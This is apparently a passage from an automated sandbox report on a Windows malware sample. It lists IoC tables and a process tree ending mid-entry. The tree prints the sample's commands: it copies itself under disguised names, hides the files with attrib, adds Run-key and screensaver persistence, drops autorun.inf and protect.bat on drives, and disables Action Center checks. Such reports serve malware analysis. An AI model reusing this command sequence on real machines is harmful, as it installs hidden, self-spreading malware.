3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
880	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
880	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
880	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
880	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
880	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
880	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
880	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
880	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
880	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
880	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
880	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
880	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
880	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
880	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
880	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
880	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
880	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
880	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
880	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
880	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
880	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
880	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
880	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
880	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
880	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
880	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
880	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
880	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
880	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
1992	iexplore.exe
1992	iexplore.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
1992	iexplore.exe
1992	iexplore.exe
2440	IEXPLORE.EXE
2440	IEXPLORE.EXE
2440	IEXPLORE.EXE
2440	IEXPLORE.EXE
1992	iexplore.exe
1992	iexplore.exe
1252	IEXPLORE.EXE
1252	IEXPLORE.EXE
1252	IEXPLORE.EXE
1252	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3012 wrote to memory of 2424	3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe	29
PID 3012 wrote to memory of 2424	3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe	29
PID 3012 wrote to memory of 2424	3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe	29
PID 3012 wrote to memory of 2424	3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe	29
PID 3012 wrote to memory of 2720	3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe	31
PID 3012 wrote to memory of 2720	3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe	31
PID 3012 wrote to memory of 2720	3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe	31
PID 3012 wrote to memory of 2720	3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe	31
PID 2720 wrote to memory of 2816	2720	cmd.exe	33
PID 2720 wrote to memory of 2816	2720	cmd.exe	33
PID 2720 wrote to memory of 2816	2720	cmd.exe	33
PID 2720 wrote to memory of 2816	2720	cmd.exe	33
PID 2424 wrote to memory of 2832	2424	cmd.exe	34
PID 2424 wrote to memory of 2832	2424	cmd.exe	34
PID 2424 wrote to memory of 2832	2424	cmd.exe	34
PID 2424 wrote to memory of 2832	2424	cmd.exe	34
PID 3012 wrote to memory of 2620	3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe	35
PID 3012 wrote to memory of 2620	3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe	35
PID 3012 wrote to memory of 2620	3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe	35
PID 3012 wrote to memory of 2620	3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe	35
PID 3012 wrote to memory of 2868	3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe	36
PID 3012 wrote to memory of 2868	3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe	36
PID 3012 wrote to memory of 2868	3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe	36
PID 3012 wrote to memory of 2868	3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe	36
PID 3012 wrote to memory of 2728	3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe	38
PID 3012 wrote to memory of 2728	3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe	38
PID 3012 wrote to memory of 2728	3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe	38
PID 3012 wrote to memory of 2728	3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe	38
PID 3012 wrote to memory of 2648	3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe	40
PID 3012 wrote to memory of 2648	3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe	40
PID 3012 wrote to memory of 2648	3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe	40
PID 3012 wrote to memory of 2648	3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe	40
PID 3012 wrote to memory of 2784	3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe	43
PID 3012 wrote to memory of 2784	3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe	43
PID 3012 wrote to memory of 2784	3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe	43
PID 3012 wrote to memory of 2784	3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe	43
PID 2728 wrote to memory of 1300	2728	cmd.exe	45
PID 2728 wrote to memory of 1300	2728	cmd.exe	45
PID 2728 wrote to memory of 1300	2728	cmd.exe	45
PID 2728 wrote to memory of 1300	2728	cmd.exe	45
PID 3012 wrote to memory of 2828	3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe	46
PID 3012 wrote to memory of 2828	3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe	46
PID 3012 wrote to memory of 2828	3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe	46
PID 3012 wrote to memory of 2828	3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe	46
PID 2648 wrote to memory of 2664	2648	cmd.exe	48
PID 2648 wrote to memory of 2664	2648	cmd.exe	48
PID 2648 wrote to memory of 2664	2648	cmd.exe	48
PID 2648 wrote to memory of 2664	2648	cmd.exe	48
PID 2828 wrote to memory of 2184	2828	cmd.exe	51
PID 2828 wrote to memory of 2184	2828	cmd.exe	51
PID 2828 wrote to memory of 2184	2828	cmd.exe	51
PID 2828 wrote to memory of 2184	2828	cmd.exe	51
PID 2784 wrote to memory of 840	2784	cmd.exe	50
PID 2784 wrote to memory of 840	2784	cmd.exe	50
PID 2784 wrote to memory of 840	2784	cmd.exe	50
PID 2784 wrote to memory of 840	2784	cmd.exe	50
PID 3012 wrote to memory of 2688	3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe	49
PID 3012 wrote to memory of 2688	3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe	49
PID 3012 wrote to memory of 2688	3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe	49
PID 3012 wrote to memory of 2688	3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe	49
PID 3012 wrote to memory of 760	3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe	52
PID 3012 wrote to memory of 760	3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe	52
PID 3012 wrote to memory of 760	3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe	52
PID 3012 wrote to memory of 760	3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe	52

Views/modifies file attributes 1 TTPs 20 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
3000	attrib.exe
2120	attrib.exe
616	attrib.exe
2252	attrib.exe
2428	attrib.exe
2180	attrib.exe
560	attrib.exe
2832	attrib.exe
1584	attrib.exe
2308	attrib.exe
2776	attrib.exe
2816	attrib.exe
1804	attrib.exe
1600	attrib.exe
2424	attrib.exe
1668	attrib.exe
2820	attrib.exe
1076	attrib.exe
2436	attrib.exe
2812	attrib.exe

C:\Windows\system32\taskhost.exe
"taskhost.exe"
1⤵
PID:1100

C:\Windows\system32\Dwm.exe
"C:\Windows\system32\Dwm.exe"
1⤵
PID:1152

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:1192

C:\Users\Admin\AppData\Local\Temp\84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe"
1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Modifies Control Panel
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3012
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib -R -H "%appdata%\daemon.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2424
- - C:\Windows\SysWOW64\attrib.exe
    attrib -R -H "C:\Users\Admin\AppData\Roaming\daemon.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Views/modifies file attributes
    PID:2832
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib -R -H "%windir%\system32sysrunc.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2720
- - C:\Windows\SysWOW64\attrib.exe
    attrib -R -H "C:\Windows\system32sysrunc.exe"
    3⤵
    - Views/modifies file attributes
    PID:2816
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c rename "%appdata%\daemon.exe" "trash1.dat"
  2⤵
  PID:2620
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c rename "%windir%\system32\sysrunc.exe" "trash2.dat"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2868
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v EnableBalloonTips /t REG_DWORD /d 0 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2728
- - C:\Windows\SysWOW64\reg.exe
    reg ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v EnableBalloonTips /t REG_DWORD /d 0 /f
    3⤵
    PID:1300
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg DELETE "HKCU\software\microsoft\windows\currentversion\action center\checks" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2648
- - C:\Windows\SysWOW64\reg.exe
    reg DELETE "HKCU\software\microsoft\windows\currentversion\action center\checks" /f
    3⤵
    PID:2664
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Roaming\plugininstall.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2784
- - C:\Windows\SysWOW64\sc.exe
    sc config upnphost start= auto
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:840
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\software" /v "crc32" /t REG_SZ /d "Pxhnjpa4" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2828
- - C:\Windows\SysWOW64\reg.exe
    reg ADD "HKCU\software" /v "crc32" /t REG_SZ /d "Pxhnjpa4" /f
    3⤵
    PID:2184
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c del "%appdata%\trash1.dat"
  2⤵
  PID:2688
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c del "%windir%\system32\trash2.dat"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:760
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c del /s /f "%appdata%\trash1.dat"
  2⤵
  PID:2152
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c del /s /f "%windir%\system32\trash2.dat"
  2⤵
  PID:2596
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib -R -H -S "%appdata%\daemon.exe"
  2⤵
  PID:812
- - C:\Windows\SysWOW64\attrib.exe
    attrib -R -H -S "C:\Users\Admin\AppData\Roaming\daemon.exe"
    3⤵
    - Views/modifies file attributes
    PID:1076
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe" "%appdata%\daemon.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1072
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +R +H +S "%appdata%\daemon.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2416
- - C:\Windows\SysWOW64\attrib.exe
    attrib +R +H +S "C:\Users\Admin\AppData\Roaming\daemon.exe"
    3⤵
    - Sets file to hidden
    - Views/modifies file attributes
    PID:2428
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\software\microsoft\windows\currentversion\run" /v "daemon" /t REG_SZ /d "%appdata%\daemon.exe" /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2504
- - C:\Windows\SysWOW64\reg.exe
    reg ADD "HKCU\software\microsoft\windows\currentversion\run" /v "daemon" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\daemon.exe" /f
    3⤵
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    PID:2200
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib -R -H -S "%windir%\system32\sysrunc.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2420
- - C:\Windows\SysWOW64\attrib.exe
    attrib -R -H -S "C:\Windows\system32\sysrunc.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Views/modifies file attributes
    PID:2180
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe" "%windir%\system32\sysrunc.exe"
  2⤵
  - Drops file in System32 directory
  PID:1456
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +R +H +S "%windir%\system32\sysrunc.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2496
- - C:\Windows\SysWOW64\attrib.exe
    attrib +R +H +S "C:\Windows\system32\sysrunc.exe"
    3⤵
    - Sets file to hidden
    - Drops file in System32 directory
    - Views/modifies file attributes
    PID:560
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\software\microsoft\windows\currentversion\run" /v "sysrunc" /t REG_SZ /d "%windir%\system32\sysrunc.exe" /f
  2⤵
  PID:2072
- - C:\Windows\SysWOW64\reg.exe
    reg ADD "HKLM\software\microsoft\windows\currentversion\run" /v "sysrunc" /t REG_SZ /d "C:\Windows\system32\sysrunc.exe" /f
    3⤵
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    PID:592
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c md %appdata%\Microsoft\Windows
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2392
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib -R -H -S "%appdata%\Microsoft\Windows\3dtext.scr"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2516
- - C:\Windows\SysWOW64\attrib.exe
    attrib -R -H -S "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\3dtext.scr"
    3⤵
    - System Location Discovery: System Language Discovery
    - Views/modifies file attributes
    PID:1804
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe" "%appdata%\Microsoft\Windows\3dtext.scr"
  2⤵
  PID:1672
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +R +H +S "%appdata%\Microsoft\Windows\3dtext.scr"
  2⤵
  PID:2220
- - C:\Windows\SysWOW64\attrib.exe
    attrib +R +H +S "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\3dtext.scr"
    3⤵
    - Sets file to hidden
    - System Location Discovery: System Language Discovery
    - Views/modifies file attributes
    PID:1584
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\Control Panel\Desktop" /v "SCRNSAVE.EXE" /t REG_SZ /d "%appdata%\Microsoft\Windows\3dtext.scr" /f
  2⤵
  PID:528
- - C:\Windows\SysWOW64\reg.exe
    reg ADD "HKCU\Control Panel\Desktop" /v "SCRNSAVE.EXE" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\3dtext.scr" /f
    3⤵
    PID:2132
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d "1" /f
  2⤵
  PID:1864
- - C:\Windows\SysWOW64\reg.exe
    reg ADD "HKCU\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d "1" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:264
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\Control Panel\Desktop" /v ScreenSaveTimeOut /t REG_SZ /d "60" /f
  2⤵
  PID:1532
- - C:\Windows\SysWOW64\reg.exe
    reg ADD "HKCU\Control Panel\Desktop" /v ScreenSaveTimeOut /t REG_SZ /d "60" /f
    3⤵
    PID:924
- C:\Users\Admin\AppData\Local\Temp\84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
  "C:\Users\Admin\AppData\Local\Temp\84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe"
  2⤵
  - Loads dropped DLL
  - Adds Run key to start application
  - Drops autorun.inf file
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Modifies Control Panel
  - Suspicious behavior: EnumeratesProcesses
  PID:880
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c del "%appdata%\trash1.dat"
    3⤵
    PID:472
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c del "%windir%\system32\trash2.dat"
    3⤵
    PID:564
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c del /s /f "%appdata%\trash1.dat"
    3⤵
    PID:1028
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c del /s /f "%windir%\system32\trash2.dat"
    3⤵
    PID:548
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib -R -H -S "%appdata%\daemon.exe"
    3⤵
    PID:2364
  - - C:\Windows\SysWOW64\attrib.exe
      attrib -R -H -S "C:\Users\Admin\AppData\Roaming\daemon.exe"
      4⤵
      Views/modifies file attributes
      PID:3000
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe" "%appdata%\daemon.exe"
    3⤵
    PID:1596
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib +R +H +S "%appdata%\daemon.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2216
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +R +H +S "C:\Users\Admin\AppData\Roaming\daemon.exe"
      4⤵
      Sets file to hidden
      Views/modifies file attributes
      PID:2436
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\software\microsoft\windows\currentversion\run" /v "daemon" /t REG_SZ /d "%appdata%\daemon.exe" /f
    3⤵
    PID:1504
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKCU\software\microsoft\windows\currentversion\run" /v "daemon" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\daemon.exe" /f
      4⤵
      Adds Run key to start application
      PID:1532
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib -R -H -S "%windir%\system32\sysrunc.exe"
    3⤵
    PID:1448
  - - C:\Windows\SysWOW64\attrib.exe
      attrib -R -H -S "C:\Windows\system32\sysrunc.exe"
      4⤵
      Drops file in System32 directory
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:1600
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib +R +H "C:\autorun.inf"
    3⤵
    PID:328
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +R +H "C:\autorun.inf"
      4⤵
      Sets file to hidden
      Drops autorun.inf file
      Views/modifies file attributes
      PID:2308
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib +R +H "F:\autorun.inf"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1916
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +R +H "F:\autorun.inf"
      4⤵
      Sets file to hidden
      Drops autorun.inf file
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:2120
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe" "%windir%\system32\sysrunc.exe"
    3⤵
    - Drops file in System32 directory
    PID:1540
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib -R -H "C:\protect.bat"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1996
  - - C:\Windows\SysWOW64\attrib.exe
      attrib -R -H "C:\protect.bat"
      4⤵
      Views/modifies file attributes
      PID:2812
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib -R -H "F:\protect.bat"
    3⤵
    PID:1036
  - - C:\Windows\SysWOW64\attrib.exe
      attrib -R -H "F:\protect.bat"
      4⤵
      Views/modifies file attributes
      PID:2424
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib +R +H +S "%windir%\system32\sysrunc.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2056
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +R +H +S "C:\Windows\system32\sysrunc.exe"
      4⤵
      Sets file to hidden
      Drops file in System32 directory
      Views/modifies file attributes
      PID:1668
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\software\microsoft\windows\currentversion\run" /v "sysrunc" /t REG_SZ /d "%windir%\system32\sysrunc.exe" /f
    3⤵
    PID:1120
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKLM\software\microsoft\windows\currentversion\run" /v "sysrunc" /t REG_SZ /d "C:\Windows\system32\sysrunc.exe" /f
      4⤵
      Adds Run key to start application
      PID:1324
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c md %appdata%\Microsoft\Windows
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2636
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Roaming\daemon.exe" "C:\protect.bat"
    3⤵
    PID:2164
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Roaming\daemon.exe" "F:\protect.bat"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2248
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib -R -H -S "%appdata%\Microsoft\Windows\3dtext.scr"
    3⤵
    PID:1792
  - - C:\Windows\SysWOW64\attrib.exe
      attrib -R -H -S "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\3dtext.scr"
      4⤵
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:2776
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib +R +H "C:\protect.bat"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1240
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +R +H "C:\protect.bat"
      4⤵
      Sets file to hidden
      Views/modifies file attributes
      PID:616
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib +R +H "F:\protect.bat"
    3⤵
    PID:2344
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +R +H "F:\protect.bat"
      4⤵
      Sets file to hidden
      Views/modifies file attributes
      PID:2820
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe" "%appdata%\Microsoft\Windows\3dtext.scr"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2848
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib +R +H +S "%appdata%\Microsoft\Windows\3dtext.scr"
    3⤵
    PID:2808
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +R +H +S "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\3dtext.scr"
      4⤵
      Sets file to hidden
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:2252
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\Control Panel\Desktop" /v "SCRNSAVE.EXE" /t REG_SZ /d "%appdata%\Microsoft\Windows\3dtext.scr" /f
    3⤵
    PID:2852
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKCU\Control Panel\Desktop" /v "SCRNSAVE.EXE" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\3dtext.scr" /f
      4⤵
      PID:2452
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d "1" /f
    3⤵
    PID:2656
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKCU\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d "1" /f
      4⤵
      PID:2872
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\Control Panel\Desktop" /v ScreenSaveTimeOut /t REG_SZ /d "60" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2788
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKCU\Control Panel\Desktop" /v ScreenSaveTimeOut /t REG_SZ /d "60" /f
      4⤵
      PID:2148
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c rd /s /q "%appdata%\Macromedia\Flash Player\#SharedObjects"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:960
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v EnableBalloonTips /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2892
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v EnableBalloonTips /t REG_DWORD /d 0 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:672
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg DELETE "HKCU\software\microsoft\windows\currentversion\action center\checks" /f
    3⤵
    PID:1968
  - - C:\Windows\SysWOW64\reg.exe
      reg DELETE "HKCU\software\microsoft\windows\currentversion\action center\checks" /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:2720
- - C:\Windows\SysWOW64\cmd.exe
